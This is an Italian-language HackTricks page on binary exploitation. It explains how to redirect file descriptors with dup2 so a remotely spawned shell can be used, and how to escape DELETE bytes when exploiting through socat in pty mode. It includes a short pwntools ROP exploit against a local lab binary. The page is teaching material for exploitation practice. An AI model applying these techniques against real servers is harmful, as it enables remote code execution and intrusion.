hacktricks/src/binary-exploitation/common-exploiting-problems.md

37 lines
1.7 KiB
Markdown

# Problemi Comuni di Sfruttamento
{{#include ../banners/hacktricks-training.md}}
## FDs nell'Exploitation Remota
Quando si invia un exploit a un server remoto che chiama **`system('/bin/sh')`** per esempio, questo verrà eseguito nel processo del server e, ovviamente, `/bin/sh` si aspetterà input da stdin (FD: `0`) e stamperà l'output in stdout e stderr (FDs `1` e `2`). Quindi, l'attaccante non sarà in grado di interagire con la shell.
Un modo per risolvere questo problema è supporre che quando il server è stato avviato, ha creato il **FD numero `3`** (per l'ascolto) e che poi, la tua connessione sarà nel **FD numero `4`**. Pertanto, è possibile utilizzare la syscall **`dup2`** per duplicare lo stdin (FD 0) e lo stdout (FD 1) nel FD 4 (quello della connessione dell'attaccante) in modo da rendere possibile contattare la shell una volta eseguita.
[**Esempio di exploit da qui**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
Nota che socat trasferisce già **`stdin`** e **`stdout`** al socket. Tuttavia, la modalità `pty` **include i caratteri DELETE**. Quindi, se invii un `\x7f` ( `DELETE` -) eliminerà **il carattere precedente** del tuo exploit.
Per aggirare questo, **il carattere di escape `\x16` deve essere preceduto a qualsiasi `\x7f` inviato.**
**Qui puoi** [**trovare un esempio di questo comportamento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{{#include ../banners/hacktricks-training.md}}